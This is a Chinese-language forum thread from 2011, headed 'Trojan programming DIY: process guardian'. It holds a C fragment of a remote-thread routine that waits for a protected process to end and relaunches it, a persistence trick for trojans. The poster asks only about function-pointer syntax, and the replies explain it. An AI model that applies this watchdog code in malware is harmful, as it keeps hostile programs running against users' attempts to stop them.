木马编程DIY之进程守护。

pofante 2011-08-25 10:08:45
typedef struct _remoteparameter
{
DWORD rpWaitForSingleObject;
DWORD rpOpenProcess;
DWORD rpWinExec;
DWORD rpProcessPID;
HANDLE rpProcessHandle;
char path[MAX_PATH];
}REMOTEPARAM;
DWORD WINAPI remote(LPVOID pvparam)
{
REMOTEPARAM *rp=(REMOTEPARAM*)pvparam; //传递进来的信息

typedef UINT (WINAPI *EWinExec) (LPCSTR, UINT);
typedef HANDLE (WINAPI *EOpenProcess) (DWORD, BOOL, DWORD);
typedef DWORD (WINAPI *EWaitForSingleObject) (HANDLE, DWORD);

EWinExec tWinExec;
EOpenProcess tOpenProcess;
EWaitForSingleObject tWaitForSingleObject;


tOpenProcess =(EOpenProcess)rp->rpOpenProcess;
tWaitForSingleObject =(EWaitForSingleObject)rp->rpWaitForSingleObject;
tWinExec =(EWinExec)rp->rpWinExec;


rp->rpProcessHandle=tOpenProcess(PROCESS_ALL_ACCESS,FALSE,rp->rpProcessPID);//打开要保护的进程

tWaitForSingleObject(rp->rpProcessHandle,INFINITE);//要保护的进程是否结束

tWinExec(rp->path, SW_SHOW);//如果结束就重新启动程序
return 0;
上面标注为红色的代码,有哪位高手可以指点下是用的什么语法?
原代码放到了我的资源里可以免费下载http://download.csdn.net/user/pofante
...全文
89 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
  • 打赏
  • 举报
回复
http://wenku.baidu.com/view/e9efb70879563c1ec5da7153.html
Eleven 2011-08-25
  • 打赏
  • 举报
回复
函数指针~
maoxing63570 2011-08-25
  • 打赏
  • 举报
回复
定义函数指针
ttktw 2011-08-25
  • 打赏
  • 举报
回复
函数指针概念,看书或上网找资料

15,472

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 进程/线程/DLL
社区管理员
  • 进程/线程/DLL社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧